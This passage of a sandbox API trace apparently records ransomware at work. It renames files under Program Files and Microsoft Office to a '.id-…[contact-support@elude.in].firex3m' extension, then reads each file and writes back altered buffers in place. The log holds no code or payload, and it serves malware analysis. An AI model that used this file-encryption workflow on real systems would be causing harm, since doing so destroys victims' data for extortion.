Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d51c0 [0225.948] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0225.948] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0225.949] GetProcessHeap () returned 0x630000 [0225.949] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f4370 [0225.949] GetProcessHeap () returned 0x630000 [0225.949] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f4000 [0225.949] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.949] ReadFile (in: hFile=0x698, lpBuffer=0x6f4370, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4370*, lpNumberOfBytesRead=0x4fbff0c*=0x180, lpOverlapped=0x0) returned 1 [0225.951] GetProcessHeap () returned 0x630000 [0225.951] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0225.951] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.951] WriteFile (in: hFile=0x698, lpBuffer=0x6f4000*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4000*, lpNumberOfBytesWritten=0x4fbff0c*=0x180, lpOverlapped=0x0) returned 1 [0225.952] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.952] WriteFile (in: hFile=0x698, lpBuffer=0x6f417f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f417f*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.952] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.952] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.952] CloseHandle (hObject=0x698) returned 1 [0225.952] GetProcessHeap () returned 0x630000 [0225.952] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4000 | out: hHeap=0x630000) returned 1 [0225.952] GetProcessHeap () returned 0x630000 [0225.952] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4370 | out: hHeap=0x630000) returned 1 [0225.952] GetProcessHeap () returned 0x630000 [0225.952] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0225.953] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.953] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4ca0b7e6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x4fbfd20, dwReserved1=0x6f4370, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0225.953] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0225.953] Sleep (dwMilliseconds=0x1) [0226.012] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\index.html", len=0x6f | out: pbstr=0x4fbff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\index.html") returned 1 [0226.012] GetProcessHeap () returned 0x630000 [0226.012] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x515c) returned 0x6fe3bb0 [0226.012] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0226.402] CloseHandle (hObject=0x4f0) returned 1 [0226.403] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.403] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.403] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.404] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9702, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4f40 [0226.404] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0226.404] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0226.404] GetProcessHeap () returned 0x630000 [0226.404] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9721) returned 0x7264620 [0226.405] GetProcessHeap () returned 0x630000 [0226.405] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9721) returned 0x73b2408 [0226.405] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.405] ReadFile (in: hFile=0x4f0, lpBuffer=0x7264620, nNumberOfBytesToRead=0x9700, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7264620*, lpNumberOfBytesRead=0x4fbff0c*=0x9700, lpOverlapped=0x0) returned 1 [0231.938] GetProcessHeap () returned 0x630000 [0231.938] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71767c8 [0231.938] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.938] WriteFile (in: hFile=0x4f0, lpBuffer=0x73b2408*, nNumberOfBytesToWrite=0x9700, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b2408*, lpNumberOfBytesWritten=0x4fbff0c*=0x9700, lpOverlapped=0x0) returned 1 [0233.132] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.132] WriteFile (in: hFile=0x4f0, lpBuffer=0x73bbb07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73bbb07*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.750] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.750] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.751] CloseHandle (hObject=0x4f0) returned 1 [0233.962] GetProcessHeap () returned 0x630000 [0233.962] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73b2408 | out: hHeap=0x630000) returned 1 [0233.962] GetProcessHeap () returned 0x630000 [0233.962] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7264620 | out: hHeap=0x630000) returned 1 [0233.963] GetProcessHeap () returned 0x630000 [0233.963] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71767c8 | out: hHeap=0x630000) returned 1 [0233.963] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0233.963] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5145defb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9726, dwReserved0=0xbd47496, dwReserved1=0x7264618, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5000 [0233.963] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0233.963] Sleep (dwMilliseconds=0x1) [0235.650] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x4fbff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgrade.xml") returned 1 [0235.650] GetProcessHeap () returned 0x630000 [0235.650] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fc0) returned 0x6fe3bb0 [0235.651] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0235.651] CloseHandle (hObject=0x4c0) returned 1 [0235.651] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.651] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.796] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x14d9d700, ftLastWriteTime.dwHighDateTime=0x1d29cb5, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4f80 [0236.432] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0236.432] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0236.433] GetProcessHeap () returned 0x630000 [0236.433] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x666ff8 [0236.433] GetProcessHeap () returned 0x630000 [0236.433] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x665a50 [0236.433] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.433] ReadFile (in: hFile=0x66c, lpBuffer=0x666ff8, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x666ff8*, lpNumberOfBytesRead=0x4fbff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.436] GetProcessHeap () returned 0x630000 [0236.436] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0236.436] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.436] WriteFile (in: hFile=0x66c, lpBuffer=0x665a50*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x665a50*, lpNumberOfBytesWritten=0x4fbff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.436] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.437] WriteFile (in: hFile=0x66c, lpBuffer=0x665c6f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x665c6f*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.437] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.437] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.437] CloseHandle (hObject=0x66c) returned 1 [0236.437] GetProcessHeap () returned 0x630000 [0236.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665a50 | out: hHeap=0x630000) returned 1 [0236.437] GetProcessHeap () returned 0x630000 [0236.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666ff8 | out: hHeap=0x630000) returned 1 [0236.437] GetProcessHeap () returned 0x630000 [0236.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0236.437] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52e107d4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x4fbfd20, dwReserved1=0x666ff8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5500 [0236.437] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0236.437] Sleep (dwMilliseconds=0x1) [0236.515] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_k_col.hxk", len=0x78 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_k_col.hxk") returned 1 [0236.515] GetProcessHeap () returned 0x630000 [0236.515] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f20) returned 0x6fe3bb0 [0236.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_k_col.hxk" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0236.517] CloseHandle (hObject=0x66c) returned 1 [0236.517] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.518] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_k_col.hxk" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.521] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.521] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x390031, dwReserved1=0x380039, cFileName="SpreadsheetCompare_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPREAD~1.FIR")) returned 0x6d51c0 [0236.521] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0236.524] GetProcessHeap () returned 0x630000 [0236.525] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4988 [0236.525] GetProcessHeap () returned 0x630000 [0236.525] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4bc8 [0236.525] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.525] ReadFile (in: hFile=0x6f8, lpBuffer=0x6a4988, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4988*, lpNumberOfBytesRead=0x4fbff0c*=0x60, lpOverlapped=0x0) returned 1 [0236.526] GetProcessHeap () returned 0x630000 [0236.526] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0236.526] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.526] WriteFile (in: hFile=0x6f8, lpBuffer=0x6a4bc8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4bc8*, lpNumberOfBytesWritten=0x4fbff0c*=0x60, lpOverlapped=0x0) returned 1 [0236.526] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.526] WriteFile (in: hFile=0x6f8, lpBuffer=0x6a4c27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4c27*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.526] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.526] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.527] CloseHandle (hObject=0x6f8) returned 1 [0236.527] GetProcessHeap () returned 0x630000 [0236.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4bc8 | out: hHeap=0x630000) returned 1 [0236.527] GetProcessHeap () returned 0x630000 [0236.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, 